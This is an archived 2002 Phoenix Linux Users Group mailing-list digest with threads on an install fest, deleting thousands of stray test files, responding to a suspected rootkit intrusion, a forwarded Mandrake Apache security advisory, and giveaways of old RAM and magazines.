Jun 22 15:26:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 22 Jun 2002 08:26:01 -0700 Subject: We're Off Message-ID: <0206220826010E.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 to the Install Fest. See ya there! - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRSXCysk3ywszI1FEQJBSgCfc+kyy9zKnbnUftVREZMcnlW65tMAning lI2LI54/F8IZxGDNtGBNXpUH =p4sM -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 17:22:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 22 Jun 2002 10:22:58 -0700 Subject: The Ballad of David Grunman References: <200206212139.35746.dennisk@sahuaro.f2s.com> <3D142DC3.2E30D00@cox.net> Message-ID: <3D14B272.81773BAB@leml.asu.edu> Victor Odhner wrote: > > This is slightly off topic, but amusing. > > BTW, this really happened somewhere in the Phoenix > area, about 15 years ago. I don't know if the guy's > name was David Grunman, but according to the Arizona > Republic's news story there was a drunk out in the > desert shooting holes in saguaros with a shotgun. > His last victim was 24 feet tall. > > The man's last word was: "Tim..." > > I searched for "David Grunman" and only found a > reference to a late-term abortionist by that name. take a look at the darwarn awards and I believe it is in 1998 that the story was originally posted ;-) EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 18:04:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sat, 22 Jun 2002 11:04:08 -0700 Subject: The Ballad of David Grunman References: <200206212139.35746.dennisk@sahuaro.f2s.com> <3D142DC3.2E30D00@cox.net> <3D14B272.81773BAB@leml.asu.edu> Message-ID: <001c01c21a17$346094f0$0301010a@tickticker.com> the site archives only go back to 1999. i'm trying to clear off a machine to hit the installfest. anthony ----- Original Message ----- From: "John (EBo) David" To: Sent: Saturday, June 22, 2002 10:22 AM Subject: Re: The Ballad of David Grunman > Victor Odhner wrote: > > > > This is slightly off topic, but amusing. > > > > BTW, this really happened somewhere in the Phoenix > > area, about 15 years ago. I don't know if the guy's > > name was David Grunman, but according to the Arizona > > Republic's news story there was a drunk out in the > > desert shooting holes in saguaros with a shotgun. > > His last victim was 24 feet tall. > > > > The man's last word was: "Tim..." > > > > I searched for "David Grunman" and only found a > > reference to a late-term abortionist by that name. > > take a look at the darwarn awards and I > believe it is in 1998 that the story was originally posted ;-) > > EBo -- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 18:34:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Sat, 22 Jun 2002 11:34:44 -0700 Subject: oops... to many files and can't clean up... In-Reply-To: <200206221905.g5MJ54216418@PlugList.MyButt.Net> References: <200206221905.g5MJ54216418@PlugList.MyButt.Net> Message-ID: <20020622113444.1b8e0cc4.robert@kint.org> To delete all the files in a directory, when there are a large number of files, but dont delete any sub-directories or files in them: ls | xargs rm # rm will fail on directories, because you did not use "-r" Need to be selective: find . -maxdepth 0 -name "" | xargs rm # or find . -maxdepth 0 -name "" -exec rm "{}" ";" # Slower Done care about subdirectories and the files in them too: cd .. rm -r # Probably really want "-rf", its quieter, but more dangerous. Want to be "quick" about it: cd .. mv .old # "mv" is fast (on the same file system), "rm" is slow rm -rf .old & # removing in the background, you can now go do other stuff. # including creating a new and using it. Good Luck. Bob. On Sat, 22 Jun 2002 12:05:04 -0700 plug-discuss-request@lists.plug.phoenix.az.us wrote: > > Message: 3 > Date: Thu, 20 Jun 2002 21:55:30 -0700 > From: Austin Godber > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: oops... to many files and can't clean up... > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Perhaps it is was a shell limitations since that would be what was > responsible for the regular expression expansion. Sounds like most > the problems you had were when you used *. > > Austin > > "John (EBo) David" wrote: > > > > sorry to reply to my own message, but a quick update... > > > > I went to another xterm and tried get a second look at things. From > > there I was able to see and remove the rest of the files (no idea > > what happend to that one xterm to muck with ls/rm). Anyway, things > > are cleaned up, and that even seemed to fix things in the original > > xterm that was causing the problems... > > > > I may well still reboot and FSCK... Any idea what could have > > screwed up? I remember that there used to be a limit of 10,000 > > files/directory or inode. That is why I was originally concerned > > with having more than 2.5 times that in a single directory. > > > > EBo -- > > > > "John (EBo) David" wrote: > > > > > > ummm.... > > > > > > I have a unit and regression test suite for my ecological modeling > > > virtual machine. I needed to bump up one of the tests to run for > > > a longer time for model testing. Problem was that I forgot that I > > > am creating an image dump for *every* variable specified each and > > > every iteration... start_time=0, stop_time=25, dt=0.01... that is > > > 2,500 images for umm... looks like 8 variables, and there are 15 > > > other unit tests... > > > > > > So now I find that I have over 25,000 files in a single directory. > > > oops. Ok, off to clean them up.... > > > > > > First, ls and rm complain that there are to many files to "rm > > > *.pgm", so I go though and delete them by group name... ok, > > > appears to go ok. Now I am finally able to "rm *.pgm" so they > > > should be clean up. Problem is that once I do that I still have > > > hundreds of pgm files in the directory that "ls" reports, but an > > > "ls *meta_pop*" does not. I am affraid that I have corrupted the > > > file system or something. > > > > > > any suggestions? > > > > > > thoughts: > > > > > > shut down the machine, reboot single user, fsck ever partition > > > (including XFS partions), and recite some prayer to Boolean... > > > > > > other ideas, thoughts, intuitions as to what happens when creating > > > 10's of thousands of files in a single directory by accident? > > > > > > EBo -- > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- > Austin Godber > godber@asu.edu > Rotten Philomathian -- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 18:39:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 22 Jun 2002 11:39:28 -0700 Subject: We're Off In-Reply-To: <0206220826010E.01526@nova.wedge.org> Message-ID: <200206221840.OAA14121@hostinworld6.com> I'm just about to leave. On 22 Jun 2002 08:26:01 -0700, Jim wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > to the Install Fest. > > See ya there! > - -- > Jim > > Freedom is worth protecting > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQA/AwUBPRSXCysk3ywszI1FEQJBSgCfc+kyy9zKnbnUftVREZMcnlW65tMAning > lI2LI54/F8IZxGDNtGBNXpUH > =p4sM > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 19:23:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sat, 22 Jun 2002 12:23:22 -0700 Subject: oops... to many files and can't clean up... References: <200206221905.g5MJ54216418@PlugList.MyButt.Net> <20020622113444.1b8e0cc4.robert@kint.org> Message-ID: <3D14CEAA.B5B629E@leml.asu.edu> "Robert A. Klahn" wrote: > > ... > find . -maxdepth 0 -name "" | xargs rm > # or > find . -maxdepth 0 -name "" -exec rm "{}" ";" # Slower doh! should have thought about find... My biggest concern was roaching the file system. Used to be that you had a max number of files you could put in a single cylinder groub, but appearently that has changed. did not know about the -maxdepth switch... interesting. another trick: find . -type f -exec rm {} \; will also not remove directories but just files. Thanks again... EBo -- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 22 20:21:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Sat, 22 Jun 2002 13:21:29 -0700 Subject: possible LKM rootkit infection In-Reply-To: <1024726235.5129.11.camel@dhcp159.area31.viawest.net> References: <1024726235.5129.11.camel@dhcp159.area31.viawest.net> Message-ID: <20020622202131.CGQR24965.fed1mtao02.cox.net@there> did that. the processes did disappear. since that point, I have been clean (so to speak). still, I think its time that I simply installed a newer version of the OS. Technomage On Friday 21 June 2002 11:10 pm, you wrote: > If chkrootkit says there are process's running that ps isn't showing - > it's probably right. Stop all services that have the posibility of > spawning child procces's quickly (apache etc) and run again. If it > still shows up, most likely someone has you. The new rootkits are > getting pretty complex in how they work, and with a trojan kernel module > nearly anything is possible. > > I'd attach a sniffer to log _all_ traffic, possibly using snort to get a > handle on it if it's a lot. > > I worked on a box that was hacked with suckit, one of the better LKM > trojans. Only real way to fix it was to format/reinstall. RPM wasn't > showing any problems with the procps (ps, ls etc.) rpm because the LKM > was intercepting those calls at the kernel level. Took a sniffer and > several days to figure out it was owned, as the box behaved normally. > Seems the person was using it as a jumping point, running a scan of > random netblocks. > > You might have some success booting with a rescue dist (tomsbrt works > good), and looking for some directories that shouldn't be there. suckit > defaults to something in /dev/(can't remember where - check phrack..48?) > > -dallas > > On Wed, 2002-06-19 at 16:15, Matt Alexander wrote: > > It's possible that those mystery processes only ran one time and covered > > up their activity afterwards, or maybe they run at some regular interval, > > who knows. Personally, I would sleep better at night after rebuilding > > the box. Also, I would recommend that you have different passwords for > > different sites. You don't want a security hole at one site completely > > opening your boxes at another site (as was the case with you). It's even > > better if each box has a different password from all the others. ~M > > > > On Wed, 19 Jun 2002, technomage wrote: > > > according to the "last" command, he logged in as a user on one of my > > > accounts and was on for 6 minutes. > > > > > > I checked elsewhere and found that there had been no other activity > > > (even to checking the backups of some of the history files that are > > > made each hour). > > > > > > after than, I checked to make sure there weren't any outbound > > > connections to his IP range (there weren't). I used a clean box as a > > > sniffer for this. I then proceeded to change all system passwords and > > > user account passowrds. Then, I loaded clean versions of rpm, etc and > > > proceeded to do a package verification. I even did md5 checksum > > > comparisons and sig checking. > > > > > > I checked with a couple of folks I know in the computer security field > > > (one of whom is currently serving duty with the US navy at their > > > fascility in southern california (the USN Naval Post Graduate School). > > > Given information from him (and others), I made an assumption that the > > > intruder hadn't gotten very far into my system, and that since all > > > passwords were changed immediately following the incident AND that the > > > offending ip range (ns.rotind.ro) was placed in iptables as immediate > > > drop, I saw no other incursions until yesterday evening. > > > > > > what I find odd is that the incursion didn't stick. said "invisible > > > processes" that wer recorded before aren't there now. > > > > > > just as a measure, I also made sure that my system has current patches > > > for apache (which I do run a webserver here on port 8000) and I've > > > tested any cgi scripts and other things using a tool called nessus. > > > > > > so far, after the last 12 hours, I can't seem to find any evidence that > > > an incursion (intrusion) has taken place other than that 1 log entry > > > written by chkrootkit that one time. > > > > > > so, I'm at a loss. am I trojaned or not? > > > > > > Technomage > > > > > > On Wednesday 19 June 2002 12:55 pm, you wrote: > > > > --- technomage wrote: > > > > > ok, > > > > > > > > > > > > > > > > > as a safety measure when I first found an intruder on my system > > > > > some weeks back, I changed all passwords, ran chattr +ui on some > > > > > specified directories > > > > > > > > > > > > > > > > Hmm.... the fact that you had an intruder is not a good sign. Even > > > > though you changed the passwords, etc, there may have already been > > > > someting in place that passed that info back to the intruder. Any > > > > idea on how long the intruder had access to your system? > > > > > > > > Personally, I would cut my loses - print (yes print) any config files > > > > that you want to re-implement, wipe the box and re-install from > > > > scratch. > > > > > > > > Or > > > > > > > > if you have the disk to spare, rebuild the system on a new disk. > > > > Once done, mount up the old disk - dont run anything from it - and > > > > give it a thorough going over - see if you can figure out what was > > > > done to compromise the system. > > > > > > > > __________________________________________________ > > > > Do You Yahoo!? > > > > Yahoo! - Official partner of 2002 FIFA World Cup > > > > http://fifaworldcup.yahoo.com > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > -- > > > I will not be pushed, filed, stamped, indexed, briefed, debriefed, or > > > numbered! > > > My life is my own - No. 6 > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 19:31:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Wed, 19 Jun 2002 12:31:49 -0700 Subject: Free RAM to good home Message-ID: <200206191231.49430.wokan@cox.net> I've got a bunch of 72 pin simms laying around from older upgrades. Anyone with a 486 or really old Pentium/K5/M2 who could use them (more memory for you Masq'ing router I'd guess) is welcome to them. Not sure what their condition or capacity is in most cases. I'm sure I have at least a pair of 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. Write back if interested. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 01:28:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Sat, 22 Jun 2002 18:28:55 -0700 Subject: Install Fest Early Thoughts Message-ID: <0206221828550F.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 To everyone who showed up - stand up and pat yourself on the back. Thanks to you it was a GREAT event. More later after the adrenelin rush subsides . . . - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPRUkVysk3ywszI1FEQJdegCdF2F3iL5JgfjobDzfKT0lAgjtrjgAn3Wy UcoFbjALHQcbv837nmh8bMpB =Zuin -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 01:27:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Shawn Rutledge) Date: Sat, 22 Jun 2002 18:27:26 -0700 Subject: Free RAM to good home In-Reply-To: <200206191231.49430.wokan@cox.net> References: <200206191231.49430.wokan@cox.net> Message-ID: <20020623012726.GT8953@ecloud.org> Sure I could use them. I still use multiple machines which use them. On Wed, Jun 19, 2002 at 12:31:49PM -0700, Digital Wokan wrote: > I've got a bunch of 72 pin simms laying around from older upgrades. Anyone > with a 486 or really old Pentium/K5/M2 who could use them (more memory for > you Masq'ing router I'd guess) is welcome to them. Not sure what their > condition or capacity is in most cases. I'm sure I have at least a pair of > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > Write back if interested. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://ecloud.org kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 02:18:06 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kimi A. Adams) Date: Sat, 22 Jun 2002 19:18:06 -0700 Subject: Install Fest Early Thoughts In-Reply-To: <0206221828550F.01526@nova.wedge.org> Message-ID: <5.1.0.14.0.20020622191255.00a60d30@localhost> Let me say this. I really enjoyed being there and hearing the presentations as well as seeing so many people attend this function. It was an absolute wonderful event. My hat off to everyone that organized and was able to contribute to this event. I am now looking forward to the next one. It would be great to have someone organize one for the west side. I am very excited about the event today and even shared my excitement with my partner, who has agreed to allow me to implement some much needed changes here at Unity Wave. : ) Progress is great. Kimi Adams Unity Wave At 6/22/02, you wrote: >-----BEGIN PGP SIGNED MESSAGE----- >Hash: SHA1 > >To everyone who showed up - stand up and pat yourself on the back. Thanks to >you it was a GREAT event. > >More later after the adrenelin rush subsides . . . > >- -- >Jim > >Freedom is worth protecting > >-----BEGIN PGP SIGNATURE----- >Version: PGP 6.5.8 > >iQA/AwUBPRUkVysk3ywszI1FEQJdegCdF2F3iL5JgfjobDzfKT0lAgjtrjgAn3Wy >UcoFbjALHQcbv837nmh8bMpB >=Zuin >-----END PGP SIGNATURE----- >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 02:52:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Sat, 22 Jun 2002 19:52:35 -0700 Subject: OT: Old Wired and Byte magazines Message-ID: <200206221952.35537@granroth.org> I have a collection of old Wired magazines from '95-'97 (back when Wired mattered) and Byte magazines from '96 up until they died. I don't have room for them anymore so I need to get rid of them.. yet I feel guiltly about just tossing them in the trash. So a question: do you want them or know of anybody/place that might? Do libraries ever take "old" magazines? -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 03:10:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Sat, 22 Jun 2002 20:10:49 -0700 Subject: OT: Old Wired and Byte magazines References: <200206221952.35537@granroth.org> Message-ID: <3D153C39.BE283BB1@qwest.net> Bookmans maybe? > I have a collection of old Wired magazines from '95-'97 (back when Wired > mattered) and Byte magazines from '96 up until they died. I don't have > room for them anymore so I need to get rid of them.. yet I feel guiltly > about just tossing them in the trash. > > So a question: do you want them or know of anybody/place that might? Do > libraries ever take "old" magazines? From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 04:26:59 2002 From: plug-discuss@lists.plug.phoenix.az.us (Julian M Catchen) Date: Sat, 22 Jun 2002 21:26:59 -0700 Subject: OT: Old Wired and Byte magazines In-Reply-To: <200206221952.35537@granroth.org>; from kurt@granroth.org on Sat, Jun 22, 2002 at 19:52:35 -0700 References: <200206221952.35537@granroth.org> Message-ID: <20020622212659.A630@topeka.ph.cox.net> I recently donated a relatively complete set of Linux Journals from the past several years to the Mesa Public Library. They told me they will either place them in their collection or they will sell them to raise funds for the library. I assume you can do the same with any of the Phoenix libraries. julian On 2002.06.22 19:52 Kurt Granroth wrote: > I have a collection of old Wired magazines from '95-'97 (back when Wired > mattered) and Byte magazines from '96 up until they died. I don't have > room for them anymore so I need to get rid of them.. yet I feel guiltly > about just tossing them in the trash. > > So a question: do you want them or know of anybody/place that might? Do > libraries ever take "old" magazines? > -- > Kurt Granroth - "KDE -- Conquer Your Desktop" > KDE Developer/Evangelist | granroth@kde.org > http://www.granroth.org | kurt@granroth.org > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > -- mail : julian @ catchen.org | ( topeka ) www : http://catchen.org/topeka/ | phx, az sent : Sat Jun 22, 2002 09:25PM MST | The market is a tool, and a useful one. But the worship of this tool is a hollow faith. Far more important than any tool is what you make with it. Many of America's greatest accomplishments stand in complete defiance of the free market: the prohibition of child labor, the establishment of a minimum wage, the creation of National parks. --Eric Schlosser, Fast Food Nation From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 04:30:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Sat, 22 Jun 2002 21:30:55 -0700 (PDT) Subject: Install Fest Early Thoughts In-Reply-To: <5.1.0.14.0.20020622191255.00a60d30@localhost> Message-ID: <20020623043055.95459.qmail@web13405.mail.yahoo.com> > be great to have > someone organize one for the west side. Can I get a hallelujah?! __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 05:05:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Don Calfa) Date: Sat, 22 Jun 2002 22:05:05 -0700 Subject: OT: Old Wired and Byte magazines References: <200206221952.35537@granroth.org> <20020622212659.A630@topeka.ph.cox.net> Message-ID: <3D155701.4020409@netscape.net> Good idea. I have a collection of Compute! magazines from the 80's as well as other old magazines. The ads in these magazines are really funny now! Radio Shack had an ad for a Model 12 Business Computer for $3499. It had 2 built-in double sided double density 8" disk drives for more than 2.5 million characters of program and data storage. Built in 12" High-resolution monitor displays 24 lines of 80 characters Big 64K memory handles tough jobs And to think that we sent man to the moon on computing power less than that. Julian M Catchen wrote: > I recently donated a relatively complete set of Linux Journals from > the past several years to the Mesa Public Library. They told me they > will either place them in their collection or they will sell them to > raise funds for the library. I assume you can do the same with any of > the Phoenix libraries. > > julian > > > On 2002.06.22 19:52 Kurt Granroth wrote: > >> I have a collection of old Wired magazines from '95-'97 (back when Wired >> mattered) and Byte magazines from '96 up until they died. I don't have >> room for them anymore so I need to get rid of them.. yet I feel guiltly >> about just tossing them in the trash. >> >> So a question: do you want them or know of anybody/place that might? Do >> libraries ever take "old" magazines? >> -- >> Kurt Granroth - "KDE -- Conquer Your Desktop" >> KDE Developer/Evangelist | granroth@kde.org >> http://www.granroth.org | kurt@granroth.org >> >> ________________________________________________ >> See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >> post to the list quickly and you use Netscape to write mail. >> >> PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >> http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 06:33:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Michelle Lowman) Date: Sat, 22 Jun 2002 23:33:46 -0700 Subject: Free RAM to good home In-Reply-To: <200206191231.49430.wokan@cox.net> Message-ID: If you still have an 8 lying around, let me know. Thanks! -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital Wokan Sent: Wednesday, June 19, 2002 12:32 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Free RAM to good home I've got a bunch of 72 pin simms laying around from older upgrades. Anyone with a 486 or really old Pentium/K5/M2 who could use them (more memory for you Masq'ing router I'd guess) is welcome to them. Not sure what their condition or capacity is in most cases. I'm sure I have at least a pair of 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. Write back if interested. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 06:59:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (KevinO) Date: Sat, 22 Jun 2002 23:59:32 -0700 Subject: [Fwd: MDKSA-2002:039-2 - apache update (revised)] Message-ID: <3D1571D4.8080507@deru.com> -------- Original Message -------- Subject: MDKSA-2002:039-2 - apache update (revised) Date: 22 Jun 2002 20:06:22 -0000 From: Mandrake Linux Security Team To: bugtraq@securityfocus.com -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ________________________________________________________________________ Mandrake Linux Security Update Advisory ________________________________________________________________________ Package name: apache Advisory ID: MDKSA-2002:039-2 Date: June 22md, 2002 Original Advisory Date: June 20th, 2002 Affected versions: 7.1, 7.2, 8.0, 8.1, 8.2, Corporate Server 1.0.1, Single Network Firewall 7.2 ________________________________________________________________________ Problem Description: [ Please note that this advisory supersedes the previous MDKSA-2002:039 and MDKSA-2002:039-1 advisories. ] MandrakeSoft is urging all users of Mandrake Linux to update their Apache installations immediately. What was previously thought to have been a DoS-only condition has now been proven to be more than that; exploitable conditions have been discovered on both 32bit and 64bit platforms. Successful exploitation of this vulnerability may lead to the execution of arbitary code on the server running a vulnerable Apache with the permissions of the web server child process (on Mandrake Linux this is the user "apache"). This can be used to exploit other vulnerabilities that are unrelated to Apache on the local system, and potentially allow the intruder root access. Thanks to Gobbles for proving that this exploitable condition exists. Because there are known exploits in the wild for some platforms, this update should be considered essential and should be performed immediately. All versions of Apache prior to 1.3.26 and 2.0.37 are vulnerable to this problem. MandrakeSoft has provided patched versions of Apache to correct this vulnerability. Also please note that these packages are no different than those provided in MDKSA-2002:039-1 so if you have already updated, there are no new packages to upgrade. ________________________________________________________________________ References: http://httpd.apache.org/info/security_bulletin_20020620.txt http://online.securityfocus.com/news/493 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0392 ________________________________________________________________________ Updated Packages: Linux-Mandrake 7.1: e88a36b186ed910b350ded94ecf017eb 7.1/RPMS/apache-1.3.22-10.1mdk.i586.rpm 084e29eb5ea8f07924bd3c3aaa62e166 7.1/RPMS/apache-common-1.3.22-10.1mdk.i586.rpm 99ee271be857848a76ee4e5ddba164db 7.1/RPMS/apache-devel-1.3.22-10.1mdk.i586.rpm 7419f968d50062a46fdb5c932a4e6a66 7.1/RPMS/apache-manual-1.3.22-10.1mdk.i586.rpm a814f93494464cb1dc17ba363d128ade 7.1/RPMS/apache-mod_perl-1.3.22_1.26-2.1mdk.i586.rpm 8ad5af9470bf2efc5a9500c0ca0dc1f0 7.1/RPMS/apache-modules-1.3.22-10.1mdk.i586.rpm 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The GNU Manifesto - Copyright (C) 1985, 1993 Free Software Foundation, Inc. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 07:38:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Sun, 23 Jun 2002 00:38:05 -0700 Subject: Free RAM to good home In-Reply-To: References: <200206191231.49430.wokan@cox.net> Message-ID: <20020623003805.4cb21b9f.wokan@cox.net> I believe I have 3 x 8MB. If you just need one, that leaves me a pair that Shawn can use in his systems. (Assuming he needs pairs.) On Sat, 22 Jun 2002 23:33:46 -0700 "Michelle Lowman" wrote: > If you still have an 8 lying around, let me know. Thanks! > > -----Original Message----- > From: plug-discuss-admin@lists.plug.phoenix.az.us > [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Digital > Wokan > Sent: Wednesday, June 19, 2002 12:32 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Free RAM to good home > > > I've got a bunch of 72 pin simms laying around from older upgrades. Anyone > with a 486 or really old Pentium/K5/M2 who could use them (more memory for > you Masq'ing router I'd guess) is welcome to them. Not sure what their > condition or capacity is in most cases. I'm sure I have at least a pair of > 8's and a pair of 4's. I think I also have a 4, an 8, and a 16 singly. > Write back if interested. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post > to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 08:05:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sun, 23 Jun 2002 01:05:08 -0700 Subject: IPCop Message-ID: <20020623010508.51cf265c.snoogans@qwest.net> i was at the installfest today and installed IPCop on an extra box that i had, im trying to figure out how i need to set it up, i have qwest's vdsl which means that there is this gateway box sitting in our living room with a TV cable in and a TV cable and ethernate cable out acting as a dhcp server. I would assume i setup IPCop to get its ip from the gateway box and set it to act as a dhcp server for the rest of my network, however i am very new to networking and i am not sure exactly if that will work or what i have to do, any pointers in the right direction would be great :) Im reading the docs on the IPCop website right now hopefully i will come up with something from there too. -Robert From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 13:20:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Sun, 23 Jun 2002 06:20:24 -0700 (MST) Subject: Install Fest Early Thoughts In-Reply-To: <5.1.0.14.0.20020622191255.00a60d30@localhost> Message-ID: We had a super turnout and a lot of fun. The presentations were well received... more shortly. THANKS to everyone who helped. I was amazed and delighted at everyone helping each other. \\/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 23 14:04:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sun, 23 Jun 2002 07:04:49 -0700 Subject: Install Fest Early Thoughts In-Reply-To: References: Message-ID: <200206230704.49372.dennisk@sahuaro.f2s.com> On Sunday 23 June 2002 06:20 am, William Lindley wrote: > We had a super turnout and a lot of 